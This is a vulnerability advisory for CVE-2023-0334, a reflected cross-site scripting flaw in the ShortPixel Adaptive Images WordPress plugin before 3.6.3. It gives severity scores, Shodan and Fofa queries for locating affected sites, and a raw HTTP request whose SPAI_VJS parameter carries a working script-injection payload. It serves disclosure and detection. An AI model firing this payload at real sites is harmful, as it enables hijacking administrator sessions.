| Title | ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript to steal high-privilege user session cookies including administrator credentials. |
| Remediation | Fixed in version 3.6.3 |
| CVSS Score | 6.1 |
| EPSS Score | 0.22931 |
| CVE ID | CVE-2023-0334 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/shortpixel-adaptive-images/ |
| Fofa Query | body=/wp-content/plugins/shortpixel-adaptive-images/ |
| Tags | cve2023 cve xss wpscan wordpress wp-plugin wp shortpixel-adaptive-images shortpixel vuln |
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin
GET /?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0334.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0334.pcap
N/AN/A